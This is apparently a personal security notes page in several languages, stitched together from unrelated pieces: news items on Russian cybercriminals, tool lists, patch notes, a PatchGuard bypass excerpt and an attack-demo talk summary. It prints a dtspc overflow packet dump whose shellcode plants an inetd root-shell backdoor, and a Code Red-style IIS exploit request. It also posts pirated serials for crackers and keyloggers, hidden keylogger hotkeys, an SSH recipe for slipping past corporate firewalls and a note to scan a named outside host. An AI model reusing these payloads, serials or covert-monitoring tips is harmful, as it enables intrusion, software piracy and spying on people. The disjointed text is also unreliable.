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Marcus Murray
dtspc | WS_FTP | Kbd | iomega SSH / tunneling | URI | Links | End

Security

Dino Dai Zovi

Amunt! Top Amunt!
Els russos
Evgeniy Bogachev
Bogachev

The biggest new threat to America's banking system was Evgeniy Bogachev, a hacking mastermind who was thought to be running the most sophisticated cybercrime network the world has ever seen from his home on Russia's Black Sea coast, "Anapa" resort. His face appeared on the FBI "most wanted" page this summer and the total haul for his cyber crimes was estimated at more than $100 million.

Starting in September of 2011, the FBI began investigating a modified version of the Zeus Trojan, known as Gameover Zeus (GOZ). It is believed GOZ is responsible for more than one million computer infections, resulting in financial losses in the hundreds of millions of dollars

Read Wired, 201703 [*****]

Peter Severa, Pyotr Levashov
Jul. 29, 2017 4:54 AM ET

MOSCOW (AP) — From the early days of online stock scams to the increasingly sophisticated world of botnets, pseudonymous hacker Peter Severa spent nearly two decades at the forefront of Russian cybercrime. Now that a man alleged to be the pioneering spam lord, Pytor Levashov, is in Spanish custody awaiting extradition to the U.S., friends and foes alike are describing the 36-year-old as an ambitious operator who helped make the internet underground what it is today. "Levashov is a pioneer who started his career when cybercrime as we know it today did not even exist," Tillmann Werner, the head of technical analysis at U.S. cybersecurity company CrowdStrike, said. "He has significantly contributed to the professionalization of cybercrime," said Werner, who has tracked the alleged hacker for years. "There are only very few known criminals that had a similar level of influence and reputation."
Born in 1980, Levashov studied at High School No. 30, one of the first schools in the Soviet Union to specialize in computer programming. Even at a competitive institution whose alumni went on to universities and Silicon Valley firms, Levashov stood out.
"He did have an entrepreneurial streak for sure," former classmate Artem Gavrilov said. "He was a leader in school, tried to prove to everyone that he was the best." Levashov graduated in 1997, according to an entry published to an alumni website, listing his profession as "websmith" and "programmer." Within a couple of years he had gravitated toward the burgeoning field of email spam, according to an ad attributed to him in U.S. court documents.
With much of the world still just discovering the internet and few restrictions on the mass distribution of email, spammers more or less operated openly, blasting inboxes with pitches for Viagra knock-offs, online gambling and pornography in return for a flat fee or a cut of the proceeds.
Internet registry records preserved by DomainTools suggest Levashov launched a bulk mailing website called e-mailpromo.com in August 2002 under his real name. Early marketing material for the site boasts of "Bullet Proof Web Hosting," a term used to describe providers that shrug off law enforcement requests.
The service would come in handy as the spam business became increasingly criminalized. With laws tightening and digital blacklists getting better, spammers resorted to hacking to get their mail across, using malicious software to turn strangers' personal computers into "proxies" — a euphemism for remote-controlled conduits for junk mail. Hackers herded the proxies into vast botnets, armies of compromised machines that silently churned out spam day and night. Court documents suggest that Levashov teamed up in 2005 with Alan Ralsky, a legendary bulk email baron once dubbed the "King of Spam". More than a decade later, Ralsky still raved about the fictitious Severa's skills. "No doubt he was the best there ever was," Ralsky said in a telephone interview.
It was with Ralsky that Levashov is alleged to have plunged into the world of the "pump-and-dump," a scheme that worked by sending millions of emails talking up the value of thinly traded securities before selling them at a profit and leaving gullible investors to soak up the loss. Ralsky, Levashov and several associates were indicted for fraud in 2007; Ralsky went to prison while Levashov — safe in Russia — avoided arrest.
By that point, Levashov was cybercrime nobility in his own right, allegedly running a forum for Russian spammers and the massive Storm botnet, whose sophistication drew global attention. "There were spam botnets, certainly, before Storm, but it took things to a next level," Joe Stewart, a security researcher with cyberdefense startup Cymmetria who grappled with Storm at its height, said. Clever use of peer-to-peer technology and a fast-shifting digital infrastructure meant Storm could be regenerated quickly if part of its network was blocked. Respected security expert Bruce Schneier marveled at its engineering, writing in 2007 that Storm was "the future of malware."
Storm didn't go on forever, but two successor botnets — Waledec and Kelihos — have since been tied to Levashov. Indictments unsealed this year accuse the Russian of renting out Kelihos at $500 per million emails to send spam or to seed computers with ransom software or money-draining banking programs.
One of the indictments, which cited a January ad posted to a Russian cybercrime forum, appeared to catch Levashov boasting of his distinguished record. "I have been serving you since the distant year 1999," the ad said. "During these years there has not been a single day that I keep still." That's likely to change. Levashov's Spanish lawyer, Margarita Repina, recently told The Associated Press that her client's extradition to the United States was all but certain. Levashov's wife, Maria, was more hopeful. She has forcefully proclaimed her husband's innocence, saying he was more of a businessman than a programmer and that whenever she caught him at the computer he was playing video games. "I believe it will be found that this is all a mistake," she said. Then again, in response to a question about Levashov's links to the Russian government, she said: "I'm not a wife who knows everything about her husband."

Satter reported from Paris. Nataliya Vasilyeva in Moscow and Diego Torres in Madrid contributed to this report.

url

Pyotr Levashov

One of the world’s most notorious spammers appears to have been tripped up by a basic cybersecurity no-no, according to the FBI: he used the same log-in credentials to both run his criminal enterprise and also log into sites like iTunes.

The Justice Department announced Monday that it had successfully targeted a man prosecutors called “one of the world’s most notorious criminal spammers,” a Russian hacker known as Peter Yuryevich Levashov, also known as Peter Severa, or “Peter of the North.” Levashov had long run the Kelihos botnet, a global network of infected computers that collectively flooded email inboxes worldwide with spam, stole banking credentials from infected users, and spread malware across the internet.

Wired, 20170411


Ransomware és un programari maliciós que fa inaccessibles els arxius dels ordinadors.
Els episodis mes coneguts han tingut lloc utilitzant troians com CryptoLocker, que va aconseguir estafar usuaris per valor de 3 milions de dòlars abans de ser destruït i Cryptowall, que va aconseguir estafar usuaris per valor de 18 milions de dòlars el juny de 2015.


Sous

Aquest article diu que un titulat en informàtica que treballi en "information security" guanya 65.000 USD/any. M'agradaria saber-ne més coses !


Eines

  • Satan
  • Nessus
  • Cerberus
  • snort, ethereal, nmap, p0f, nc (NetCat) - scan analysis
  • ACID - log analisis.
    PHP-based analysis engine to search and process a database of security events.

    Pre-requisites :

    • to store the data, a database : MySQL.
    • to log raw info, snort.
    • a Web server : Apache.
    • to implement ACID : PHP 4.0.4+
    • database abstraction : ADODB 1-2+
    • PHPlot 4.4.6+
    • JPGraph 1.8+
    • GD 1.8

  • Argus [URL] aggregates TCP/IP datagrams into units called transactions
  • tcpflow [URL] extracts the application layer data from each TCP connection into a separate file

Windows & Microsoft

By emulating the call to LsaQueryInformationPolicy(), it was possible to obtain the host SID (Security Identifier), without credentials.
The host SID can then be used to get the list of local users.

"Anyone with a Windows 2000 CD can boot up a Windows XP box and start the Windows 2000 Recovery Console," says Livingston. "The intruder has Administrator privileges even if he or she does not provide a password, and can also assume the identity of any other user of the machine."

MS Messenger security problems and flaws ...

  • Microsoft Security Bulletin MS04-010 - read it [March, 2004]
    Afecta a MSM 6.0 y 6.1

Microsoft Security Bulletins Released in June [egb]

MS03-031: Cumulative Patch for Microsoft SQL Server (815495)

MS03-030: Unchecked Buffer in DirectX Could Enable System Compromise (819696)
MS03-029: Flaw in Windows Function Could Allow Denial of Service (823803)
MS03-028: Flaw in ISA Server Error Pages Could Allow Cross-Site Scripting Attack (816456)
MS03-027: Unchecked Buffer in Windows Shell Could Enable System Compromise (821557)
MS03-026: Buffer Overrun In RPC Interface Could Allow Code Execution (823980)
MS03-025: Flaw in Windows Message Handling through Utility Manager Could Enable Privilege Elevation (822679)
MS03-024: Buffer Overrun in Windows Could Lead to Data Corruption (817606)
MS03-023: Buffer Overrun In HTML Converter Could Allow Code Execution (823559)

    This seems like a lot.
 

Víctor :

Q329115_W2K_SP4_X86_EN.exe -z -q   /* REM (Boletin MS02-050)

Windows2000-KB823559-x86-ENU.exe -z -q  /* REM (Boletin MS03-023)
Windows2000-KB824105-x86-ENU.exe -z -q  /* REM (Boletin MS03-034)
Windows2000-KB824146-x86-ENU.exe -z -q  /* REM (Boletin MS03-039)
Windows2000-KB823182-x86-ENU-CustomServicePackSupport.EXE -z -q  /* REM (Boletin MS03-041)
Windows2000-KB826232-x86-ENU.exe -z -q  /* REM (Boletin MS03-042)
Windows2000-KB828035-x86-ENU.exe -z -q  /* REM (Boletin MS03-043)
Windows2000-KB825119-x86-ENU.exe -z -q  /* REM (Boletin MS03-044)
Windows2000-KB824141-x86-ENU.exe -z -q  /* REM (Boletin MS03-045)
Windows2000-KB828749-x86-ENU.exe -z -q  /* REM (Boletin MS03-049)

Windows2000-KB828028-x86-ENU.EXE -z -q  /* REM (Boletin MS04-007)
 

How to verify a patch is installed or not ?

  • Control Panel + Add / Remove Programs
  • Registry key
    • W2K : HKLM\Software\Microsoft\Updates\Windows 2000\SP5\KB823980
    • WXP : HKLM\Software\Microsoft\Updates\Windows XP\SP2\KB823980
  • LOG file ?

Password length and age :

 net accounts

     Change it :
 net accounts /minpwlen:8
 net accounts /maxpwage:90
 


Pagaments


Krack into

dtspc

Described here : internal buffer is 4k (0x1000), but request sets length to 0x103e - see packet 580 :

0040 7a d2 30 30 30 30 30 30 30 32 30 34 31 30 33 65 z.000000 0204103e

The buffer overflow gives control to this code :

0490 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40 11 ..@...@. ..@...@. 04a0 80 1c 40 11 80 1c 40 11 80 1c 40 11 80 1c 40 11 ..@...@. ..@...@. 04b0 80 1c 40 11 80 1c 40 11 80 1c 40 11 20 bf ff ff ..@...@. ..@. ... 04c0 20 bf ff ff 7f ff ff ff 90 03 e0 34 92 23 e0 20 ....... ...4.#. 04d0 a2 02 20 0c a4 02 20 10 c0 2a 20 08 c0 2a 20 0e .. ... . .* ..* . 04e0 d0 23 ff e0 e2 23 ff e4 e4 23 ff e8 c0 23 ff ec .#...#.. .#...#.. 04f0 82 10 20 0b 91 d0 20 08 2f 62 69 6e 2f 6b 73 68 .. ... . /bin/ksh 0500 20 20 20 20 2d 63 20 20 65 63 68 6f 20 22 69 6e -c echo "in 0510 67 72 65 73 6c 6f 63 6b 20 73 74 72 65 61 6d 20 greslock stream 0520 74 63 70 20 6e 6f 77 61 69 74 20 72 6f 6f 74 20 tcp nowa it root 0530 2f 62 69 6e 2f 73 68 20 73 68 20 2d 69 22 3e 2f /bin/sh sh -i">/ 0540 74 6d 70 2f 78 3b 2f 75 73 72 2f 73 62 69 6e 2f tmp/x;/u sr/sbin/ 0550 69 6e 65 74 64 20 2d 73 20 2f 74 6d 70 2f 78 3b inetd -s /tmp/x; 0560 73 6c 65 65 70 20 31 30 3b 2f 62 69 6e 2f 72 6d sleep 10 ;/bin/rm 0570 20 2d 66 20 2f 74 6d 70 2f 78 20 41 41 41 41 41 -f /tmp /x AAAAA 0580 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA 0590 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA 05a0 41 41 41 41 41 41 41 41 AAAAAAAA

From here. Or from here.

IPC$ using port 139

Here

cmd.exe

GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%ubcaf%u77e3%u0000%u0000%u838b%u0094%u0000%u408b %u0564%u0150%u0000%ue0ff%u9090=x& r p Z!ffffZ q PnHek7 &cmd.exe$ HTTP/1.1 Host: 172.16.134.191:80 GET / HTTP/1.0

From here, explained here
Buffer with about 240 bytes.


Nomenclatura

A bot is an automated client that is remotely controlled via a network. A set of related bots collectively comprise a distributed communication network called a botnet. Botnets are most commonly used for distributed denial of service (DDoS) attacks, flooding, etc.
Sample description
Xelagot bot server

Security under Linux :
Up to now : MD5, to verify what files have been modified.
Future : dnotify, standard kernel (used by Nautilus). Or kernel module f-watch

Review here [F. Perez]


Generació de claus

Eines

  • Large Kit (495 USD) : get it free [ GW8F-QFCK-5ARC-PZTBX ].
    Read about LN security.

  • Site - see DicGen

  • ZIP password finder
    From this tool repository

  • AZPR home : v 3.54 has key (www.elcomsoft.com/) s/n:00003112193920061941pEZ3CRg3BZZX89rm

    Benchmanrk :

    • T30 = 4.792.236 pwd/seg
    • P4 = 6.573.005 pwd/seg

Velocitat

Symbol set [36] : 0123456789abcdefghijklmnopqrstuvwxyz 4 symbols => 1.679.616 combinacions [ 36 exp 4 ] 8 symbols => 2.821.109.907.456 combinacions [ 36 exp 8 ] P4 : 35.000 kis/sg

Anathema

URL

The upper reaches of the network are a "darknet," hidden behind layers of security. The sites use a "bounce" to hide their IP address, and members can log in only from trusted IP addresses already on file.


WS_FTP

WS_FTP offers the facility to store their ftp password to remote systems. It keeps this information in ws_ftp.ini, a little obfuscated.

Want to see keys ? Enter PWD here !

Mine !!


KBD logger

KGB

A mi m'agrada el "KGB Key Logger". Tinc la versio "KGB Spy 3.32". Haig de buscar la "Registration Key"

1.368.677 freekgbkeylogger_151.zip 1.421.406 kgbkeylogger-23_3days.zip -> versio 2.31 !

La URL es Refog, i s'activa amb CTRL + SHIFT + ALT + "K"

Detected by SAv.


ActualSpy

HotKey = Shift + Control + Alt + F8

V 2.9 registration key = "".


Family Keylogger v 2.83

HotKey = Control + Alt + Shift + "F" (restores Try icon ...) : url. Compte : detected by SAV ...

SpyArsenal.com

Fix : lxt_fk283.exe


KeySpy

Run setupv791.exe (cd3eines) and follow instructions.
Under "Mode", choose "Save recorded session on disk" and use this serial :

Registration Key: 35B42C8F
\\T42\FONTS\KbdLog\setupv791.exe 435.712

Runs under W95 !

Writes file KeySpy.log, in c:\WINDOWS\SYSTEM32 directory.

To read the encrypted Log, use SETUPV791 again ! (with Password)

Displays as T30:e:\kbds\SetupIP.exe, T42: \\fonts\kbdlog\wkfymgr.exe,


Web Browser forensics

Origin URL.

 IE activity :
 C:\Documents and Settings\username\Local Settings\Temporary Internet Files\Content.IE5\
 The Index.dat file contains the Internet activity for each information store.

 Internet history activity without locally cached web content :
 C:\Documents and Settings\username\Local Settings\History\History.IE5\

 Cokies file for IE :
 C:\Documents and Settings\username\Cookies\
Index.dat format whitepaper.
 Firefox files are located in the following directory:
 \Documents and Settings\<user name>\Application Data\Firefox\Profiles\<random text>\history.dat

 Mozilla/Netscape history files are found in the following directory:
 \Documents and Settings\<user name>\Application Data\Mozilla\Profiles\<profile name>\<random text>\history.dat
 

Tools :


StormWorm, Dorf, Ecard

Wired, SecureWorks, eWeek,

Storm Worm More Powerful Than Top Supercomputers url


RootKits

RootkitRevealer works by comparing a high-level scan of the system via the Windows API
with a low-level direct scan of file system and Registry on-disk structures.
Rootkits that cloak by modifying a system view at any level above the on-disk structures
will be visible as discrepancies between the two scans - that is, if their cloaking is active.
 

PhiShing

Netcraft says (17/05/2005) :

http://cgi4.ebay.com/ws/eBayISAPI.dll?MfcISAPICommand=RedirectToDomain& DomainUrl=http%3A%2F%2F%32%31%31%2E%31%37%32%2E%39%36%2E%37%2F UpdateCenter%2FLogin%2F%3FMfcISAPISession%3DAAJbaQqzeHAAeMWZlHhlWXS2AlB XVShqAhQRfhgTDrferHCURstpAisNRqAhQRfhgTDrferHCURstpAisNRpAisNRqAhQRfhgTDr ferHCUQRfqzeHAAeMWZlHhlWXh At a casual glance, this URL would appear to be genuine and one would certainly expect it to display a page belonging to eBay. However, the function of this page was to redirect to a different URL that could be embedded within the eBay URL. Because this page allowed redirection to arbitrary URLs, a fraudster exploited this weakness by sending out many mails asking people to visit this URL to update their eBay account details. When a user clicked on the link, they were redirected to a phishing site at http://211.172.96.7/UpdateCenter/Login/. The IP address in the original URL was deliberately obfuscated by the fraudster to make it look less suspicious. Another recent attack saw fraudsters exploiting an identical vulnerability on the Visa web site: http://usa.visa.com/track/dyredir.jsp?rDirl=http://200.251.251.10/.verified/ The URL redirected users to a phishing site hosted at http://200.251.251.10/.verified/, and used a common browser vulnerability to spoof the real URL in the address bar. While cross site scripting and open redirects are both attractive to fraudsters, open redirects are - if anything - more pervasive and even easier for fraudsters to locate and exploit. Netcraft now provides a service to detect these and offer advice to banking and financial sites to reduce their level of fraud facilitation.

05/2005 : at Gmail I get a mail asking to click on this link : http://www.deutsche-bank.de/QKZoaOS9sFX4cM3VsXVhKD1B0XvMsmypGSVbdP2FIeynDRpZJ37c2e5n6w1h2k6mq that reverts to : http://www.google.fm/url?q=
http://go.msn.com/HML/6/9.asp?target=http://i0d98s%093%%.D%%%09A%09.%09R%%U/ that is read as http://i0d98s3.DA.RU/

Pharming, o desencaminament

Es modifica la resolucio de noms de domini, per dirigir l'internauta cap a una pàgina web fraudulenta. L'usuari perd el bon camí en ser encaminat, sense que se n'adoni.


Concurs(os)

Al host fesinternet2005.xifra.net (-) que té la IP 213.201.61.146 (-) s'ofereixen 12.000 € per llegir el fitxer anduril.txt ...

Nov 2006 : PS3 Hacking Contest



FedEx

url

According to the report, written by Strom Carlson at Secure Science in San Diego, data stored on the cards is not encrypted and can be viewed by anyone with a smart-card reader. Data on the card can also be modified with a three-byte-long security code. As part of his research, Carlson purchased a Kinko's card for $1 and then wired it to a USB logic analyzer that sniffed the secret code from the card as it interacted with the kiosk. The three-digit code was unencrypted and easy to spot from the data passed back and forth between card and reader, he said. In a video that demonstrates the hack, Carlson used a secure card reader connected to a laptop to modify the dollar amount on the card from $1 to $50 and change the serial number of the card. He then redeemed $.20 from the modified card from a Kinko's computer terminal and printed out a receipt for the activity that shows the modified ExpressPay serial number and an adjusted balance of $49.80 on the card.


XP Security Checklist (3 levels)

url

XP Security Tools

url

Do Scan

 Try Telnet, Satan, Nmap, ... on
 www.x**xabcn.net [195.77.120.54]

PatchGuard

url

Introduction
In the caste system of operating systems, the kernel is king. And like most kings, the kernel is capable of defending itself from the lesser citizens, such as user-mode processes, through the castle walls of privilege separation. However, unlike most kings, the kernel is typically unable to defend itself from the same privilege level at which it operates. Without the kernel being able to protect its vital organs at its own privilege level, the entire operating system is left open to modification and subversion if any code is able to run with the same privileges as the kernel itself.
As it stands today, most kernel implementations do not provide a mechanism by which critical portions of the kernel can be validated to ensure that they have not been tampered with. If existing kernels were to attempt to deploy something like this in an after-the-fact manner, it should be expected that a large number of problems would be encountered with regard to compatibility. While most kernels intentionally do not document how internal aspects are designed to function, like how system call dispatching works, it is likely that at least one or more third-party vendor may depend on some of the explicit behaviors of the undocumented implementations.
This has been exactly the case with Microsoft's operating systems. Starting even in the days of Windows 95, and perhaps even prior to that, Microsoft realized that allowing third-party vendors to twiddle or otherwise play with various critical portions of the kernel lead to nothing but headaches and stability problems, even though it provided the highest level of flexibility. While Microsoft took a stronger stance with Windows NT, it has still become the case that third-party vendors use areas of the kernel that are of particular interest to accomplishing certain feats, even though the means used to accomplish them require the use of undocumented structures and functions.
While it's likely that Microsoft realized their fate long ago with regard to losing control over the scope and types of changes they could make to the kernel internally without affecting third-party vendors, their ability to do anything about it has been drastically limited. If Microsoft were to deploy code that happened to prevent major third-party vendors from being able to accomplish their goals without providing an adequate replacement, then Microsoft would be in a world of hurt that would most likely rhyme with antitrust. Even though things have appeared bleak, Microsoft got their chance to reclaim higher levels of flexibility in the kernel with the introduction of the x64 architecture2.1. Since the Windows kernel on the x64 architecture operates in 64-bit mode, it stands as a requirement that all kernel-mode drivers also be compiled to run and operate in native 64-bit mode. There are a number of reasons for this that are outside of the scope of this document, but suffice it to say that attempting to design a thunking layer for device drivers that are intended to have any real considerations for performance should be enough to illustrate that doing so would be a horrible idea.
By requiring that all device drivers be compiled natively as 64-bit binaries, Microsoft effectively leveled the playing field on the new platform and brought it back to a clean slate. This allowed them to not have to worry about potential compatibility conflicts with existing products because of the simple fact that none had been established. As third-party vendors ported their device drivers to 64-bit mode, any unsupported or uncondoned behavior on the part of the driver could be documented as being prohibited on the x64 architecture, thus forcing the third-party to find an alternative approach if possible. This is the dream of PatchGuard[3], Microsoft's anti-patch protection system, and it seems logical that such a goal is a reasonable one, but that's not the point of this document.
Instead, this document will focus on the changes to the x64 kernel that are designed to protect critical portions of the Windows kernel from being modified. This document will describe how the protection mechanisms are implemented and what areas of the kernel are protected. From there, a couple of different approaches that could be used to disable and bypass the protection mechanisms will be explained in detail as well as potential solutions to the bypass techniques. In conclusion, the reasons and motivations will be summarized and other solutions to the more fundamental problem will be discussed.
The real purpose of this document, though, is to illustrate that it is impossible to securely protect regions of code and data through the use of a system that involves monitoring said regions at a privilege level that is equal to the level at which third-party code is capable of running. This fact is something that is well-known, both by Microsoft and by the security population at large, and it should be understood without requiring an explanation. Going toward the future, the operating system world will most likely begin to see a shift toward more granular, hardware-enforced privilege separation by implementing segregated trusted code bases. The questions this will raise with respect to open-source operating systems and DRM issues should slowly begin to increase. Only time will tell.

Implementation
The anti-patching technology provided in the Windows x64 kernel, nicknamed PatchGuard, is intended to protect critical kernel structures from being modified outside of the context of approved modifications, such as through Microsoft-controlled hot patching. At the time of this writing, PatchGuard is designed to protect the following critical structures:

  • * SSDT (System Service Descriptor Table)
  • * GDT (Global Descriptor Table)
  • * IDT (Interrupt Descriptor Table)
  • * System images (ntoskrnl.exe, ndis.sys, hal.dll)
  • * Processor MSRs (syscall)

At a high-level, PatchGuard is implemented in the form of a set of routines that cache known-good copies and/or checksums of structures which are then validated at certain random time intervals (roughly every 5 - 10 minutes). The reason PatchGuard is implemented in a polling fashion rather than in an event-driven or hardware-backed fashion is because there is no native hardware level support for the things that PatchGuard is attempting to accomplish. For that reason, a number of the tricks that PatchGuard resorted to were done so out of necessity.
The team that worked on PatchGuard was admittedly very clever. They realized the limitations of implementing an anti-patching model in a fashion described in the introduction and thus were forced to resort to other means by which they might augment the protection mechanisms. In particular, PatchGuard makes extensive use of security through obscurity by using tactics like misdirection, misnamed functions, and general code obfuscation. While many would argue that security through obscurity adds nothing, the authors believe that it's merely a matter of raising the bar high enough so as to eliminate a significant number of people from being able to completely understand something.
The code to initialize PatchGuard begins early on in the boot process as part of nt!KeInitSystem. The diagram in figure [*] shows roughly where in the boot process it's initialized.
[...]

The demise of CSS hacks and broken pages

URL


Krak

How to crack an old UE-32

Tool : using BRW, the "magical" Borland Resource Workshop, a mighty tool. Power at your fingers !
Ok, fetch BRW.zip, it's a zipped 2,5 megabytes file, if you did not buy it (like I did short after this essay: it appeared with THE COMPLETE Borland C++ 4,5, on the CD-ROM of PCPlus n.38, a UK Computer magazine, August 1997 edition) anyway I had it already, thanks to a good miner friend of mine, and now anyway it's vastly available on the web.


Amunt! Top Amunt!
SSH

SSH is a great way to proxy your connection through a network without being stopped. You just load up your ssh client, connect to your external host with the web proxy server (serving only localhost traffic) and you port forward your connection and poof, you're now bypassing anything you like. It's really practical for when you are going out to a customer premise and you need to connect outbound but everything under the sun is blocked. Maybe even outbound port 22 is blocked, but if you put your external SSH port on port 80 you can walk right through those primitive network defenses.

url

Tunneling tutorial

Programs needed to run this demonstration:

  • SSH Service to computer outside the firewalled network: Linux OpenSSH, Windows OpenSSH
  • Putty (SSH client): download here
  • One .BAT File (we will create this later)
.-----------. ( .--------------------. | site (a) | ( | site (b) | | Koltrane |-------( [firewall] ---| T42 | | free zone | ( | restricted zone | .-----------. ( .--------------------.

Step 1 (a) : Acquire an SSH service outside of the firewalled network. ( install OpenSSH on Windows @ site-a )

  • unzip
  • run setupssh.exe
  • install client and server
  • edit c:\P_F\OpenSSH\etc\sshd_config
    Change "#Port 22" into "Port 443".
  • at c:\P F\OpenSSH\bin, run mkgroup -l > ..\etc\group and mkpasswd -l > ..\etc\passwd - cygwin utils
  • Start Server : net start opensshd
    Stop Server : net stop opensshd
    Server Status : ?

At this point you should have an SSH connection outside of the firewalled network.

Step 2 (b) : Download Putty to a directory on your computer.

Step 3 (b) : "shunnel.bat" in the same directory as Putty =

putty -D 1080 -P 443 -ssh your.domain.com/homeIP

To set up SOCKS-based dynamic port forwarding on a local port, use the -D option.

-D [listen-IP:]listen-port Dynamic SOCKS-based port forwarding

The -P option is used to specify the port number to connect to.

"your.domain.com" is the domain name of the computer outside the firewalled network that your SSH service is hosted on. It can also be the machine's IP address.
homeIP should be the IP address of your home machine.

Step 4 (b) : Create your tunnel At work, simply double click shunnel.bat to initiate the shunnel.

Step 5 (b) : Configure IE and Firefox

Internet Options + Internet Properties + Connections + LAN settings + Proxy Server + Advanced Clear all lines, except "Socks", that has to be 127.0.0.1 : 1080 - uncheck "Use the same proxy server for all protocols"

url, better url !

It works with anything that allows a Socks4 or Socks5 configuration. Simply, configure the SOCKS settings to point to the IP address 127.0.0.1 and whatever port you have specified in your .bat file.

You can use WinSCP to do remote editing over ssh.

url

Another SSH client is ssh.exe !


.-------------------. | HP |) 22 --- [zyxel] --- ( Interne ) | IP = 192.168.1.38 | IP ? .-------------------.

  • Kayak has "OpenSSHd" service running (<path>\bin\cygrunsrv.exe)
  • T42 starts "putty -D 1080 -P 22 -ssh "Kayak_IP"
  • test if you can reach it :
    • "telnet 192.168.1.38 22"
      SSH-2.0-OpenSSH_3.8.1p1
      means "OK" !
    • ssh 192.168.1.38 -l pere
  • now we can use SCP = copy !
    • de local a remoto : $ scp archivo usuario@servidor.com:ruta
    • de remoto a local : $ scp usuario@servidor.com:ruta/archivo ruta_local

Default Config Files and SSH Port
  • /etc/ssh/sshd_config - OpenSSH server configuration file.
  • /etc/ssh/ssh_config - OpenSSH client configuration file.
  • ~/.ssh/ - Users ssh configuration directory.
  • ~/.ssh/authorized_keys or ~/.ssh/authorized_keys - Lists the public keys (RSA or DSA) that can be used to log into the user's account
  • /etc/nologin - If this file exists, sshd refuses to let anyone except root log in.
  • /etc/hosts.allow and /etc/hosts.deny : Access controls lists that should be enforced by tcp-wrappers are defined here.
  • SSH default port : TCP 22

Top 20 OpenSSH Server Best Security Practices
  • #1: Disable OpenSSH Server
  • #2: Only Use SSH Protocol 2
  • #3: Limit Users' SSH Access
  • #4: Configure Idle Log Out Timeout Interval
  • #5: Disable .rhosts Files
  • #6: Disable Host-Based Authentication
  • #7: Disable root Login via SSH
  • #8: Enable a Warning Banner
  • #8: Firewall SSH Port # 22
  • #9: Change SSH Port and Limit IP Binding
  • #10: Use Strong SSH Passwords and Passphrase
  • #11: Use Public Key Based Authentication
  • #12: Use Keychain Based Authentication
  • #13: Chroot SSHD (Lock Down Users To Their Home Directories)
  • #14: Use TCP Wrappers
  • #15: Disable Empty Passwords
  • #16: Thwart SSH Crackers (Brute Force Attack)
  • #17: Rate-limit Incoming Port # 22 Connections
  • #18: Use Port Knocking
  • #19: Use Log Analyzer
  • #20: Patch OpenSSH and Operating Systems

More


VPN

Server @ I95.75.94.7


Your network is PWNED !

The session objectives are to expose common security threats, learn from other people's mistakes, and motivate us to implement the correct security controls.

DEMO 1 - What is the easiest way to break in without risking personal exposure? A trojan. Firewalls prevent old-school trojans (listening on a port for an inbound connection). XXXXX, written by a Turkish hacker, allows the creation of trojan programs - it is just one of many. It allows injection into IE and common application naming (it will run as svchost.exe). Further, it can disable common firewalls and antivirus programs. You can bind it to known and trusted applications and then email it out to unsuspecting people - like CEOs or Marketing. Once run on a client PC you can connect to it an grab all of its files - you can grab hashes. It can upload screen viewing software and patch itself. Once done, the attacker can cover their steps by killing the server on the way out the door. This is an important demo because 70% of the computers in the world are infected by malware.

DEMO 2 - This is an exploit attack because the client is vulnerable to a known software problem. This demo was done with the XXXXX tool that is expensive to buy and is professional grade. XXXXX allows you attack known software issues. After sending the attack URL, via email, to the client the software goes into listening mode. When you click on the link the browser dies but really an agent has been installed behind the scenes. All this because the user did not patch their software.

DEMO 3 - This is a Web/SQL Injection attack. This demo assumes a DMZ web server attached to a SQL server on the internal network. It used the Foundstone Hacme Bank application (used for training) to demonstrate hacking a website based on SQL. SQL, these days, has a lot of commands that don't relate solely to data storage (e.g. xp_cmdshell). Using an injection attack Marcus was able to upload some hacking tools (in UUEncode so that the SQL box would take it). After the uploads, he had the command shell re-encode the uuencoded files so they could be run. He recompiled netcat and started it back up. Running an additional command he has netcat bring up a command prompt. You can discover your privilege by running a whoami. The solution for these attacks includes input validation, hardening the server, etc.

DEMO 4 - A wireless attack (don't admit that you use WEP - your company name is on your badge). This attack used XXXXX to capture traffic for three days. The problem is WEP is the encryption algorithm. Each ID packet exposes a bit of the WEP key. It takes 5 minutes to break 128 bit WEP. Don't use WEP. WPA is a lot better but not foolproof. XXXXX is the GUI version and it can be used to attack WPA-PSK. Easy to guess keys are not that hard to compromise with the right tools. Don't use common words as the tools can compromise them. XXXXX from XXXXXX allows you to compromise the WPA key on a PC. You don't need to crack the key - just compromise one of the clients. Think about putting your wireless network outside of the company.

DEMO 5 - A physical attack can be pulled off not due to skill but due to people being nice. Watch out for wireless AP placement in your facility. A USB U3 device can be placed on a device inside the company to dump user names and encrypted password hashes (local and maybe domain if there is a domain account logged in). Don't ever plug someone else's USB device into your PC. Most common attack today is the use the wireless cards built-in to the laptop. Hackers will setup a known network in the parking lot and laptops will connect to it. Hackers could then allow you to surf through them.

DEMO 6 - First thing you would want to do is scan the network with a tool like nmap. This will allow you to locate your DCs, file servers, clients, etc. Once you own a PC run XXXXX and it will allow you to dump the passwords on the box that you own. It would give you the password for any shared account on the PC. (Don't let your PC's local account be the same as every PC in the network. Make sure to role-base your clients and harden the ones that are management clients. Make sure to use client firewalls - why should a client be able to connect to a client.) Using a runas variant you can UNC to another PC and inject the password hash directly so that you do not need a password. XXXXX is a non-public tool that allows this injection. This allows you to log on to a remote PC without a password but with a hash. If you run as a domain admin the hacker can use nmap to find your DC, then use a hash injection tool to control your domain controller. Once in, the hacker would dump the passwords on the domain controller (using psexec to copy XXXXX to the DC and then using XXXXX from the DC). If you share accounts between computers the compromise of one leads to the compromise of all.

DEMO 7 - This is a man-in-the-middle attack and simulates what would happen if a hacker came in over wireless. What the attacker needs to do is to sniff the traffic. This demo was done in attacking the ARP protocol. He will begin to build a table of MAC addresses to IP addresses. Using XXXXX you can do an ARP lookup and scan for MAC addresses on the network. From that you can do ARP spoofing and poison the traffic. With this attack running you can examine everything in the RDP session. This includes the keys that were pressed (password), thereby giving away the entire account and password. Without owning a PC on the network ARP poisoning allows the compromise of the domain. (Make sure to use the new terminal services client with certificates. Do it now.)

Countermeasures

  • Standardize, centralize, and modernize your environment.
